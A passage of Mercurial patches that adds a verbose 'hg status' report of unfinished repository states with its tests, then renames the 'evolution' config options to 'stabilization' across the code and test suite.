+    unresolvedlist = [f for f in mergestate if m(f) and mergestate[f] == 'u']
+    if unresolvedlist:
+        mergeliststr = '\n'.join(
+            ['    %s' % os.path.relpath(
+                os.path.join(repo.root, path),
+                pycompat.getcwd()) for path in unresolvedlist])
+        msg = _('''Unresolved merge conflicts:
+
+%s
+
+To mark files as resolved:  hg resolve --mark FILE''') % mergeliststr
+    else:
+        msg = _('No unresolved merge conflicts.')
+
+    return _commentlines(msg)
+
+def _helpmessage(continuecmd, abortcmd):
+    msg = _('To continue:                %s\n'
+            'To abort:                   %s') % (continuecmd, abortcmd)
+    return _commentlines(msg)
+
+def _rebasemsg():
+    return _helpmessage('hg rebase --continue', 'hg rebase --abort')
+
+def _histeditmsg():
+    return _helpmessage('hg histedit --continue', 'hg histedit --abort')
+
+def _unshelvemsg():
+    return _helpmessage('hg unshelve --continue', 'hg unshelve --abort')
+
+def _updatecleanmsg(dest=None):
+    warning = _('warning: this will discard uncommitted changes')
+    return 'hg update --clean %s    (%s)' % (dest or '.', warning)
+
+def _graftmsg():
+    # tweakdefaults requires `update` to have a rev hence the `.`
+    return _helpmessage('hg graft --continue', _updatecleanmsg())
+
+def _mergemsg():
+    # tweakdefaults requires `update` to have a rev hence the `.`
+     return _helpmessage('hg commit', _updatecleanmsg())
+
+def _bisectmsg():
+    msg = _('To mark the changeset good:    hg bisect --good\n'
+            'To mark the changeset bad:     hg bisect --bad\n'
+            'To abort:                      hg bisect --reset\n')
+    return _commentlines(msg)
+
+def fileexistspredicate(filename):
+    return lambda repo: repo.vfs.exists(filename)
+
+def _mergepredicate(repo):
+    return len(repo[None].parents()) > 1
+
+STATES = (
+    # (state, predicate to detect states, helpful message function)
+    ('histedit', fileexistspredicate('histedit-state'), _histeditmsg),
+    ('bisect', fileexistspredicate('bisect.state'), _bisectmsg),
+    ('graft', fileexistspredicate('graftstate'), _graftmsg),
+    ('unshelve', fileexistspredicate('unshelverebasestate'), _unshelvemsg),
+    ('rebase', fileexistspredicate('rebasestate'), _rebasemsg),
+    # The merge state is part of a list that will be iterated over.
+    # They need to be last because some of the other unfinished states may also
+    # be in a merge or update state (eg. rebase, histedit, graft, etc).
+    # We want those to have priority.
+    ('merge', _mergepredicate, _mergemsg),
+)
+
+def _getrepostate(repo):
+    # experimental config: commands.status.skipstates
+    skip = set(repo.ui.configlist('commands', 'status.skipstates'))
+    for state, statedetectionpredicate, msgfn in STATES:
+        if state in skip:
+            continue
+        if statedetectionpredicate(repo):
+            return (state, statedetectionpredicate, msgfn)
+
+def morestatus(repo, fm):
+    statetuple = _getrepostate(repo)
+    label = 'status.morestatus'
+    if statetuple:
+        fm.startitem()
+        state, statedetectionpredicate, helpfulmsg = statetuple
+        statemsg = _('The repository is in an unfinished *%s* state.') % state
+        fm.write('statemsg', '%s\n',  _commentlines(statemsg), label=label)
+        conmsg = _conflictsmsg(repo)
+        fm.write('conflictsmsg', '%s\n', conmsg, label=label)
+        if helpfulmsg:
+            helpmsg = helpfulmsg()
+            fm.write('helpmsg', '%s\n', helpmsg, label=label)
+
 def findpossible(cmd, table, strict=False):
     """
     Return cmd -> (aliases, command table entry)
diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -4710,6 +4710,19 @@
       files are not considered while tersing until 'i' is there in --terse value
       or the --ignored option is used.
 
+      --verbose option shows more context about the state of the repo
+      like the repository is in unfinised merge, shelve, rebase state etc.
+      You can have this behaviour turned on by default by following config:
+
+      [commands]
+      status.verbose = true
+
+      You can also skip some states like bisect by adding following in
+      configuration file.
+
+      [commands]
+      status.skipstates = bisect
+
       Examples:
 
       - show changes in the working directory relative to a
@@ -4799,6 +4812,10 @@
                 if f in copy:
                     fm.write("copy", '  %s' + end, repo.pathto(copy[f], cwd),
                              label='status.copied')
+
+    if ((ui.verbose or ui.configbool('commands', 'status.verbose'))
+        and not ui.plain()):
+        cmdutil.morestatus(repo, fm)
     fm.end()
 
 @command('^summary|sum',
diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -97,6 +97,12 @@
 coreconfigitem('commands', 'status.relative',
     default=False,
 )
+coreconfigitem('commands', 'status.skipstates',
+    default=[],
+)
+coreconfigitem('commands', 'status.verbose',
+    default=False,
+)
 coreconfigitem('commands', 'update.requiredest',
     default=False,
 )
diff --git a/tests/test-bisect.t b/tests/test-bisect.t
--- a/tests/test-bisect.t
+++ b/tests/test-bisect.t
@@ -184,6 +184,15 @@
 
   $ hg bisect -r
   $ hg bisect -b
+  $ hg status -v
+  # The repository is in an unfinished *bisect* state.
+  
+  None
+  # To mark the changeset good:    hg bisect --good
+  # To mark the changeset bad:     hg bisect --bad
+  # To abort:                      hg bisect --reset
+  
+  $ hg status -v --config commands.status.skipstates=bisect
   $ hg summary
   parent: 31:58c80a7c8a40 tip
    msg 31
diff --git a/tests/test-conflict.t b/tests/test-conflict.t
--- a/tests/test-conflict.t
+++ b/tests/test-conflict.t
@@ -44,6 +44,23 @@
   $ hg id
   618808747361+c0c68e4fe667+ tip
 
+  $ echo "[commands]" >> $HGRCPATH
+  $ echo "status.verbose=true" >> $HGRCPATH
+  $ hg status
+  M a
+  ? a.orig
+  # The repository is in an unfinished *merge* state.
+  
+  # Unresolved merge conflicts:
+  # 
+  #     a
+  # 
+  # To mark files as resolved:  hg resolve --mark FILE
+  
+  # To continue:                hg commit
+  # To abort:                   hg update --clean .    (warning: this will discard uncommitted changes)
+  
+
   $ cat a
   Small Mathematical Series.
   1
@@ -58,7 +75,7 @@
   >>>>>>> merge rev:    c0c68e4fe667 - test: branch1
   Hop we are done.
 
-  $ hg status
+  $ hg status --config commands.status.verbose=0
   M a
   ? a.orig
 
diff --git a/tests/test-graft.t b/tests/test-graft.t
--- a/tests/test-graft.t
+++ b/tests/test-graft.t
@@ -221,6 +221,25 @@
   $ hg summary |grep graft
   commit: 2 modified, 2 unknown, 1 unresolved (graft in progress)
 
+Using status to get more context
+
+  $ hg status --verbose
+  M d
+  M e
+  ? a.orig
+  ? e.orig
+  # The repository is in an unfinished *graft* state.
+  
+  # Unresolved merge conflicts:
+  # 
+  #     e
+  # 
+  # To mark files as resolved:  hg resolve --mark FILE
+  
+  # To continue:                hg graft --continue
+  # To abort:                   hg update --clean .    (warning: this will discard uncommitted changes)
+  
+
 Commit while interrupted should fail:
 
   $ hg ci -m 'commit interrupted graft'
diff --git a/tests/test-histedit-fold.t b/tests/test-histedit-fold.t
--- a/tests/test-histedit-fold.t
+++ b/tests/test-histedit-fold.t
@@ -294,9 +294,21 @@
   [1]
 There were conflicts, we keep P1 content. This
 should effectively drop the changes from +6.
-  $ hg status
+
+  $ hg status -v
   M file
   ? file.orig
+  # The repository is in an unfinished *histedit* state.
+  
+  # Unresolved merge conflicts:
+  # 
+  #     file
+  # 
+  # To mark files as resolved:  hg resolve --mark FILE
+  
+  # To continue:                hg histedit --continue
+  # To abort:                   hg histedit --abort
+  
   $ hg resolve -l
   U file
   $ hg revert -r 'p1()' file
diff --git a/tests/test-rebase-conflicts.t b/tests/test-rebase-conflicts.t
--- a/tests/test-rebase-conflicts.t
+++ b/tests/test-rebase-conflicts.t
@@ -71,6 +71,21 @@
   unresolved conflicts (see hg resolve, then hg rebase --continue)
   [1]
 
+  $ hg status --config commands.status.verbose=1
+  M common
+  ? common.orig
+  # The repository is in an unfinished *rebase* state.
+  
+  # Unresolved merge conflicts:
+  # 
+  #     common
+  # 
+  # To mark files as resolved:  hg resolve --mark FILE
+  
+  # To continue:                hg rebase --continue
+  # To abort:                   hg rebase --abort
+  
+
 Try to continue without solving the conflict:
 
   $ hg rebase --continue
diff --git a/tests/test-shelve.t b/tests/test-shelve.t
--- a/tests/test-shelve.t
+++ b/tests/test-shelve.t
@@ -342,6 +342,23 @@
   warning: conflicts while merging a/a! (edit, then use 'hg resolve --mark')
   unresolved conflicts (see 'hg resolve', then 'hg unshelve --continue')
   [1]
+  $ hg status -v
+  M a/a
+  M b.rename/b
+  M c.copy
+  R b/b
+  ? a/a.orig
+  # The repository is in an unfinished *unshelve* state.
+  
+  # Unresolved merge conflicts:
+  # 
+  #     a/a
+  # 
+  # To mark files as resolved:  hg resolve --mark FILE
+  
+  # To continue:                hg unshelve --continue
+  # To abort:                   hg unshelve --abort
+  
 
 ensure that we have a merge with unresolved conflicts
 
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501753102 -7200
#      Thu Aug 03 11:38:22 2017 +0200
# Node ID d434a7f0685c372643a9ae2dda59e65495de95b2
# Parent  96f43981c1c4d4002892dc74b7fb6dcba148560a
config: rename evolution config into stabilization

Use aliases for backward-compatibility. Though I'm not sure how to emit
compatibility warnings with aliases.

Test configuration are updated in the next patch.

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

Differential Revision: https://phab.mercurial-scm.org/D248

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -1227,7 +1227,7 @@
 
 
     contentopts = {'cg.version': cgversion}
-    if repo.ui.configbool('experimental', 'evolution.bundle-obsmarker'):
+    if repo.ui.configbool('experimental', 'stabilization.bundle-obsmarker'):
         contentopts['obsolescence'] = True
     if repo.ui.configbool('experimental', 'bundle-phases'):
         contentopts['phases'] = True
diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -181,14 +181,17 @@
 coreconfigitem('experimental', 'editortmpinhg',
     default=False,
 )
-coreconfigitem('experimental', 'evolution',
+coreconfigitem('experimental', 'stabilization',
     default=list,
+    alias=[('experimental', 'evolution')],
 )
-coreconfigitem('experimental', 'evolution.bundle-obsmarker',
+coreconfigitem('experimental', 'stabilization.bundle-obsmarker',
     default=False,
+    alias=[('experimental', 'evolution.bundle-obsmarker')],
 )
-coreconfigitem('experimental', 'evolution.track-operation',
+coreconfigitem('experimental', 'stabilization.track-operation',
     default=False,
+    alias=[('experimental', 'evolution.track-operation')]
 )
 coreconfigitem('experimental', 'exportableenviron',
     default=list,
diff --git a/mercurial/obsolete.py b/mercurial/obsolete.py
--- a/mercurial/obsolete.py
+++ b/mercurial/obsolete.py
@@ -102,7 +102,7 @@
     """Returns True if the given repository has the given obsolete option
     enabled.
     """
-    result = set(repo.ui.configlist('experimental', 'evolution'))
+    result = set(repo.ui.configlist('experimental', 'stabilization'))
     if 'all' in result:
         return True
 
@@ -1007,7 +1007,7 @@
     if 'user' not in metadata:
         metadata['user'] = repo.ui.username()
     useoperation = repo.ui.configbool('experimental',
-        'evolution.track-operation')
+        'stabilization.track-operation')
     if useoperation and operation:
         metadata['operation'] = operation
     tr = repo.transaction('add-obsolescence-marker')
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501864876 -7200
#      Fri Aug 04 18:41:16 2017 +0200
# Node ID 6c1a9fd8361bfc2a47ba017bbbf5d46cf17afa73
# Parent  d434a7f0685c372643a9ae2dda59e65495de95b2
test: update evolution config

evolution* config has been rewritten in stabilization* in the previous patch,
update tests file to use the new names.

Differential Revision: https://phab.mercurial-scm.org/D249

diff --git a/tests/test-amend.t b/tests/test-amend.t
--- a/tests/test-amend.t
+++ b/tests/test-amend.t
@@ -11,7 +11,7 @@
 #if obsstore-on
   $ cat << EOF >> $HGRCPATH
   > [experimental]
-  > evolution=createmarkers
+  > stabilization=createmarkers
   > EOF
 #endif
 
@@ -176,7 +176,7 @@
 
   $ cat >> $HGRCPATH <<EOF
   > [experimental]
-  > evolution=createmarkers, allowunstable
+  > stabilization=createmarkers, allowunstable
   > EOF
 
   $ hg amend
diff --git a/tests/test-bisect.t b/tests/test-bisect.t
--- a/tests/test-bisect.t
+++ b/tests/test-bisect.t
@@ -574,7 +574,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers
+  > stabilization=createmarkers
   > EOF
 
 tip is obsolete
diff --git a/tests/test-bookmarks-pushpull.t b/tests/test-bookmarks-pushpull.t
--- a/tests/test-bookmarks-pushpull.t
+++ b/tests/test-bookmarks-pushpull.t
@@ -6,7 +6,7 @@
   > [phases]
   > publish=False
   > [experimental]
-  > evolution=createmarkers,exchange
+  > stabilization=createmarkers,exchange
   > EOF
 
 initialize
diff --git a/tests/test-bundle2-exchange.t b/tests/test-bundle2-exchange.t
--- a/tests/test-bundle2-exchange.t
+++ b/tests/test-bundle2-exchange.t
@@ -15,7 +15,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers,exchange
+  > stabilization=createmarkers,exchange
   > bundle2-output-capture=True
   > [ui]
   > ssh="$PYTHON" "$TESTDIR/dummyssh"
diff --git a/tests/test-bundle2-format.t b/tests/test-bundle2-format.t
--- a/tests/test-bundle2-format.t
+++ b/tests/test-bundle2-format.t
@@ -227,7 +227,7 @@
   > [extensions]
   > bundle2=$TESTTMP/bundle2.py
   > [experimental]
-  > evolution=createmarkers
+  > stabilization=createmarkers
   > [ui]
   > ssh=$PYTHON "$TESTDIR/dummyssh"
   > logtemplate={rev}:{node|short} {phase} {author} {bookmarks} {desc|firstline}
diff --git a/tests/test-cache-abuse.t b/tests/test-cache-abuse.t
--- a/tests/test-cache-abuse.t
+++ b/tests/test-cache-abuse.t
@@ -2,7 +2,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers
+  > stabilization=createmarkers
   > [phases]
   > publish=False
   > EOF
diff --git a/tests/test-clone.t b/tests/test-clone.t
--- a/tests/test-clone.t
+++ b/tests/test-clone.t
@@ -706,7 +706,7 @@
   $ cd filteredrev0
   $ cat >> .hg/hgrc << EOF
   > [experimental]
-  > evolution=createmarkers
+  > stabilization=createmarkers
   > EOF
   $ echo initial1 > foo
   $ hg -q commit -A -m initial0
diff --git a/tests/test-command-template.t b/tests/test-command-template.t
--- a/tests/test-command-template.t
+++ b/tests/test-command-template.t
@@ -3567,7 +3567,7 @@
   $ cd hashcollision
   $ cat <<EOF >> .hg/hgrc
   > [experimental]
-  > evolution = createmarkers
+  > stabilization = createmarkers
   > EOF
   $ echo 0 > a
   $ hg ci -qAm 0
diff --git a/tests/test-commandserver.t b/tests/test-commandserver.t
--- a/tests/test-commandserver.t
+++ b/tests/test-commandserver.t
@@ -497,7 +497,7 @@
 
   $ cat >> .hg/hgrc << EOF
   > [experimental]
-  > evolution=createmarkers
+  > stabilization=createmarkers
   > EOF
 
   >>> import os
diff --git a/tests/test-commit-amend.t b/tests/test-commit-amend.t
--- a/tests/test-commit-amend.t
+++ b/tests/test-commit-amend.t
@@ -520,7 +520,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers,allowunstable
+  > stabilization=createmarkers,allowunstable
   > EOF
 
 Amend with no files changes
diff --git a/tests/test-drawdag.t b/tests/test-drawdag.t
--- a/tests/test-drawdag.t
+++ b/tests/test-drawdag.t
@@ -2,7 +2,7 @@
   > [extensions]
   > drawdag=$TESTDIR/drawdag.py
   > [experimental]
-  > evolution=all
+  > stabilization=all
   > EOF
 
   $ reinit () {
diff --git a/tests/test-glog.t b/tests/test-glog.t
--- a/tests/test-glog.t
+++ b/tests/test-glog.t
@@ -2290,7 +2290,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers
+  > stabilization=createmarkers
   > EOF
 
   $ hg debugobsolete `hg id --debug -i -r 8`
diff --git a/tests/test-histedit-arguments.t b/tests/test-histedit-arguments.t
--- a/tests/test-histedit-arguments.t
+++ b/tests/test-histedit-arguments.t
@@ -494,7 +494,7 @@
 
   $ cat >>$HGRCPATH <<EOF
   > [experimental]
-  > evolution=createmarkers,allowunstable
+  > stabilization=createmarkers,allowunstable
   > EOF
   $ hg commit --amend -m 'allow this fold'
   $ hg histedit --continue
diff --git a/tests/test-histedit-obsolete.t b/tests/test-histedit-obsolete.t
--- a/tests/test-histedit-obsolete.t
+++ b/tests/test-histedit-obsolete.t
@@ -8,7 +8,7 @@
   > [phases]
   > publish=False
   > [experimental]
-  > evolution=createmarkers,allowunstable
+  > stabilization=createmarkers,allowunstable
   > [extensions]
   > histedit=
   > rebase=
@@ -545,7 +545,7 @@
   |
   o  0:cb9a9f314b8b (public) a
   
-  $ hg histedit -r 'b449568bf7fc' --commands - << EOF --config experimental.evolution.track-operation=1
+  $ hg histedit -r 'b449568bf7fc' --commands - << EOF --config experimental.stabilization.track-operation=1
   > pick b449568bf7fc 13 f
   > pick 7395e1ff83bd 15 h
   > pick 6b70183d2492 14 g
@@ -556,7 +556,7 @@
   Editing (ee118ab9fa44), you may commit or record as needed now.
   (hg histedit --continue to resume)
   [1]
-  $ hg histedit --continue --config experimental.evolution.track-operation=1
+  $ hg histedit --continue --config experimental.stabilization.track-operation=1
   $ hg log -G
   @  23:175d6b286a22 (secret) k
   |
diff --git a/tests/test-lfconvert.t b/tests/test-lfconvert.t
--- a/tests/test-lfconvert.t
+++ b/tests/test-lfconvert.t
@@ -326,7 +326,7 @@
   $ cd largefiles-repo-hg
   $ cat >> .hg/hgrc <<EOF
   > [experimental]
-  > evolution=createmarkers
+  > stabilization=createmarkers
   > EOF
   $ hg debugobsolete `hg log -r tip -T "{node}"`
   obsoleted 1 changesets
diff --git a/tests/test-log.t b/tests/test-log.t
--- a/tests/test-log.t
+++ b/tests/test-log.t
@@ -1700,7 +1700,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers
+  > stabilization=createmarkers
   > EOF
 
   $ hg log --template='{rev}:{node}\n'
@@ -2280,7 +2280,7 @@
   $ hg init issue4490
   $ cd issue4490
   $ echo '[experimental]' >> .hg/hgrc
-  $ echo 'evolution=createmarkers' >> .hg/hgrc
+  $ echo 'stabilization=createmarkers' >> .hg/hgrc
   $ echo a > a
   $ hg ci -Am0
   adding a
diff --git a/tests/test-obsmarker-template.t b/tests/test-obsmarker-template.t
--- a/tests/test-obsmarker-template.t
+++ b/tests/test-obsmarker-template.t
@@ -10,7 +10,7 @@
   > [phases]
   > publish=False
   > [experimental]
-  > evolution=all
+  > stabilization=all
   > [alias]
   > tlog = log -G -T '{node|short}\
   >     {if(predecessors, "\n  Predecessors: {predecessors}")}\
diff --git a/tests/test-obsolete-bundle-strip.t b/tests/test-obsolete-bundle-strip.t
--- a/tests/test-obsolete-bundle-strip.t
+++ b/tests/test-obsolete-bundle-strip.t
@@ -15,10 +15,10 @@
   > 
   > [experimental]
   > # enable evolution
-  > evolution = all
+  > stabilization = all
   > 
   > # include obsmarkers in bundle
-  > evolution.bundle-obsmarker = yes
+  > stabilization.bundle-obsmarker = yes
   > 
   > [extensions]
   > # needed for some tests
diff --git a/tests/test-obsolete-changeset-exchange.t b/tests/test-obsolete-changeset-exchange.t
--- a/tests/test-obsolete-changeset-exchange.t
+++ b/tests/test-obsolete-changeset-exchange.t
@@ -3,7 +3,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers
+  > stabilization=createmarkers
   > EOF
 
 Push does not corrupt remote
@@ -87,7 +87,7 @@
 
 check-that bundle can contain markers:
 
-  $ hg bundle --hidden --rev f89bcc95eba5 --base "f89bcc95eba5^" ../f89bcc95eba5-obs.hg --config experimental.evolution.bundle-obsmarker=1
+  $ hg bundle --hidden --rev f89bcc95eba5 --base "f89bcc95eba5^" ../f89bcc95eba5-obs.hg --config experimental.stabilization.bundle-obsmarker=1
   1 changesets found
   $ hg debugbundle ../f89bcc95eba5.hg
   Stream params: sortdict([('Compression', 'BZ')])
diff --git a/tests/test-obsolete-checkheads.t b/tests/test-obsolete-checkheads.t
--- a/tests/test-obsolete-checkheads.t
+++ b/tests/test-obsolete-checkheads.t
@@ -6,7 +6,7 @@
   > [ui]
   > logtemplate='{node|short} ({phase}) {desc|firstline}\n'
   > [experimental]
-  > evolution=createmarkers
+  > stabilization=createmarkers
   > EOF
   $ mkcommit() {
   >    echo "$1" > "$1"
diff --git a/tests/test-obsolete-divergent.t b/tests/test-obsolete-divergent.t
--- a/tests/test-obsolete-divergent.t
+++ b/tests/test-obsolete-divergent.t
@@ -9,7 +9,7 @@
   > [ui]
   > logtemplate = {rev}:{node|short} {desc}\n
   > [experimental]
-  > evolution=createmarkers
+  > stabilization=createmarkers
   > [extensions]
   > drawdag=$TESTDIR/drawdag.py
   > [alias]
diff --git a/tests/test-obsolete-tag-cache.t b/tests/test-obsolete-tag-cache.t
--- a/tests/test-obsolete-tag-cache.t
+++ b/tests/test-obsolete-tag-cache.t
@@ -5,7 +5,7 @@
   > mock=$TESTDIR/mockblackbox.py
   > 
   > [experimental]
-  > evolution = createmarkers
+  > stabilization = createmarkers
   > EOF
 
 Create a repo with some tags
diff --git a/tests/test-obsolete.t b/tests/test-obsolete.t
--- a/tests/test-obsolete.t
+++ b/tests/test-obsolete.t
@@ -39,7 +39,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers,exchange
+  > stabilization=createmarkers,exchange
   > EOF
 
 Killing a single changeset without replacement
@@ -892,7 +892,7 @@
 Checking _enable=False warning if obsolete marker exists
 
   $ echo '[experimental]' >> $HGRCPATH
-  $ echo "evolution=" >> $HGRCPATH
+  $ echo "stabilization=" >> $HGRCPATH
   $ hg log -r tip
   obsolete feature not enabled but 68 markers found!
   68:c15e9edfca13 (draft) [tip ] add celestine
@@ -900,7 +900,7 @@
 reenable for later test
 
   $ echo '[experimental]' >> $HGRCPATH
-  $ echo "evolution=createmarkers,exchange" >> $HGRCPATH
+  $ echo "stabilization=createmarkers,exchange" >> $HGRCPATH
 
   $ rm hg.pid access.log errors.log
 #endif
@@ -1263,7 +1263,7 @@
   $ hg ci -m '2'
 
   $ echo bar > f2
-  $ hg commit --amend --config experimetnal.evolution=createmarkers
+  $ hg commit --amend --config experimetnal.stabilization=createmarkers
   $ hg log -G
   @  4:b0551702f918 (draft) [tip ] 2
   |
@@ -1402,7 +1402,7 @@
   $ echo d > d
   $ hg ci -Am d
   adding d
-  $ hg ci --amend -m dd --config experimental.evolution.track-operation=1
+  $ hg ci --amend -m dd --config experimental.stabilization.track-operation=1
   $ hg debugobsolete --index --rev "3+7"
   1 6fdef60fcbabbd3d50e9b9cbc2a240724b91a5e1 d27fb9b066076fd921277a4b9e8b9cb48c95bc6a 0 \(.*\) {'user': 'test'} (re)
   3 4715cf767440ed891755448016c2b8cf70760c30 7ae79c5d60f049c7b0dd02f5f25b9d60aaf7b36d 0 \(.*\) {'operation': 'amend', 'user': 'test'} (re)
diff --git a/tests/test-phases.t b/tests/test-phases.t
--- a/tests/test-phases.t
+++ b/tests/test-phases.t
@@ -588,7 +588,7 @@
 (enabling evolution)
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers
+  > stabilization=createmarkers
   > EOF
 
 (making a changeset hidden; H in that case)
diff --git a/tests/test-push-race.t b/tests/test-push-race.t
--- a/tests/test-push-race.t
+++ b/tests/test-push-race.t
@@ -98,7 +98,7 @@
   > [phases]
   > publish = no
   > [experimental]
-  > evolution = all
+  > stabilization = all
   > [alias]
   > graph = log -G --rev 'sort(all(), "topo")'
   > EOF
diff --git a/tests/test-rebase-conflicts.t b/tests/test-rebase-conflicts.t
--- a/tests/test-rebase-conflicts.t
+++ b/tests/test-rebase-conflicts.t
@@ -400,7 +400,7 @@
   $ hg update E -q
   $ echo 3 > B
   $ hg commit --amend -m E -A B -q
-  $ hg rebase -r B+D -d . --config experimental.evolution=all
+  $ hg rebase -r B+D -d . --config experimental.stabilization=all
   rebasing 1:112478962961 "B" (B)
   merging B
   warning: conflicts while merging B! (edit, then use 'hg resolve --mark')
@@ -411,7 +411,7 @@
   $ hg resolve -m
   (no more unresolved files)
   continue: hg rebase --continue
-  $ hg rebase --continue --config experimental.evolution=none
+  $ hg rebase --continue --config experimental.stabilization=none
   rebasing 1:112478962961 "B" (B)
   not rebasing ignored 2:26805aba1e60 "C" (C)
   rebasing 3:f585351a92f8 "D" (D)
diff --git a/tests/test-rebase-obsolete.t b/tests/test-rebase-obsolete.t
--- a/tests/test-rebase-obsolete.t
+++ b/tests/test-rebase-obsolete.t
@@ -8,7 +8,7 @@
   > [ui]
   > logtemplate= {rev}:{node|short} {desc|firstline}
   > [experimental]
-  > evolution=createmarkers,allowunstable
+  > stabilization=createmarkers,allowunstable
   > [phases]
   > publish=False
   > [extensions]
@@ -732,7 +732,7 @@
   |
   o  0:4a2df7238c3b A
   
-  $ hg debugobsolete `hg log -r 7 -T '{node}\n'` --config experimental.evolution=all
+  $ hg debugobsolete `hg log -r 7 -T '{node}\n'` --config experimental.stabilization=all
   obsoleted 1 changesets
   $ hg rebase -d 6 -r "4::"
   rebasing 4:ff2c4d47b71d "C"
@@ -760,7 +760,7 @@
   $ hg add nonrelevant
   $ hg commit -m nonrelevant
   created new head
-  $ hg debugobsolete `hg log -r 11 -T '{node}\n'` --config experimental.evolution=all
+  $ hg debugobsolete `hg log -r 11 -T '{node}\n'` --config experimental.stabilization=all
   obsoleted 1 changesets
   $ hg rebase -r . -d 10
   note: not rebasing 11:f44da1f4954c "nonrelevant" (tip), it has no successor
@@ -885,7 +885,7 @@
   $ printf "dummy" > L
   $ hg add L
   $ hg commit -m "dummy change"
-  $ hg debugobsolete `hg log -r ".^" -T '{node}'` `hg log -r 19 -T '{node}'` --config experimental.evolution=all
+  $ hg debugobsolete `hg log -r ".^" -T '{node}'` `hg log -r 19 -T '{node}'` --config experimental.stabilization=all
   obsoleted 1 changesets
 
   $ hg log -G -r 17::
@@ -1121,7 +1121,7 @@
 equivalents in destination
   $ hg init rbsrepo && cd rbsrepo
   $ echo "[experimental]" > .hg/hgrc
-  $ echo "evolution=all" >> .hg/hgrc
+  $ echo "stabilization=all" >> .hg/hgrc
   $ echo "rebaseskipobsolete=on" >> .hg/hgrc
   $ echo root > root && hg ci -Am root
   adding root
@@ -1140,7 +1140,7 @@
   $ hg up 2 && hg log -r .  # working dir is at rev 2 again
   0 files updated, 0 files merged, 1 files removed, 0 files unresolved
   2:1e9a3c00cbe9 b (no-eol)
-  $ hg rebase -r 2 -d 3 --config experimental.evolution.track-operation=1
+  $ hg rebase -r 2 -d 3 --config experimental.stabilization.track-operation=1
   note: not rebasing 2:1e9a3c00cbe9 "b" (mybook), already in destination as 3:be1832deae9a "b"
 Check that working directory was updated to rev 3 although rev 2 was skipped
 during the rebase operation
diff --git a/tests/test-rebase-partial.t b/tests/test-rebase-partial.t
--- a/tests/test-rebase-partial.t
+++ b/tests/test-rebase-partial.t
@@ -7,7 +7,7 @@
   > drawdag=$TESTDIR/drawdag.py
   > 
   > [experimental]
-  > evolution=createmarkers,allowunstable
+  > stabilization=createmarkers,allowunstable
   > 
   > [alias]
   > tglog = log -G --template "{rev}: {desc}"
diff --git a/tests/test-rebase-scenario-global.t b/tests/test-rebase-scenario-global.t
--- a/tests/test-rebase-scenario-global.t
+++ b/tests/test-rebase-scenario-global.t
@@ -933,7 +933,7 @@
   > [extensions]
   > wraprebase=$TESTTMP/wraprebase.py
   > [experimental]
-  > evolution=all
+  > stabilization=all
   > EOF
 
   $ hg debugdrawdag <<'EOS'
diff --git a/tests/test-revset.t b/tests/test-revset.t
--- a/tests/test-revset.t
+++ b/tests/test-revset.t
@@ -1830,7 +1830,7 @@
   $ cd wdir-hashcollision
   $ cat <<EOF >> .hg/hgrc
   > [experimental]
-  > evolution = createmarkers
+  > stabilization = createmarkers
   > EOF
   $ echo 0 > a
   $ hg ci -qAm 0
@@ -4465,7 +4465,7 @@
   $ cd repo1
   $ cat <<EOF >> .hg/hgrc
   > [experimental]
-  > evolution = createmarkers
+  > stabilization = createmarkers
   > EOF
 
   $ hg debugdrawdag <<'EOS'
diff --git a/tests/test-shelve.t b/tests/test-shelve.t
--- a/tests/test-shelve.t
+++ b/tests/test-shelve.t
@@ -696,7 +696,7 @@
 
   $ cat >> $HGRCPATH << EOF
   > [experimental]
-  > evolution=createmarkers
+  > stabilization=createmarkers
   > EOF
   $ hg shelve
   shelved as default
diff --git a/tests/test-strip.t b/tests/test-strip.t
--- a/tests/test-strip.t
+++ b/tests/test-strip.t
@@ -1063,8 +1063,8 @@
   $ cd $TESTTMP/scmutilcleanup.obsstore
   $ cat >> .hg/hgrc <<EOF
   > [experimental]
-  > evolution=all
-  > evolution.track-operation=1
+  > stabilization=all
+  > stabilization.track-operation=1
   > EOF
 
   $ hg log -r . -T '\n' --config extensions.t=$TESTTMP/scmutilcleanup.py
diff --git a/tests/test-subrepo-missing.t b/tests/test-subrepo-missing.t
--- a/tests/test-subrepo-missing.t
+++ b/tests/test-subrepo-missing.t
@@ -76,7 +76,7 @@
   > [phases]
   > publish=False
   > [experimental]
-  > evolution=createmarkers
+  > stabilization=createmarkers
   > EOF
 
 check that we can update parent repo with missing (amended) subrepo revision
diff --git a/tests/test-update-branches.t b/tests/test-update-branches.t
--- a/tests/test-update-branches.t
+++ b/tests/test-update-branches.t
@@ -473,7 +473,7 @@
   > [ui]
   > logtemplate={rev}:{node|short} {desc|firstline}
   > [experimental]
-  > evolution=createmarkers
+  > stabilization=createmarkers
   > EOF
 
 Test no-argument update to a successor of an obsoleted changeset
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1501760919 -7200
#      Thu Aug 03 13:48:39 2017 +0200
# Node ID 9dcc3529e002d66f4ff0a8aad0e48bbfef933d43
# Parent  6c1a9fd8361bfc2a47ba017bbbf5d46cf17afa73
revset: rename unstable into orphan

Don't touch unstable volatile set name, only the revset name. The volatile set
name will be updated in a later patch.

The renaming is done according to
https://www.mercurial-scm.org/wiki/CEDVocabulary.

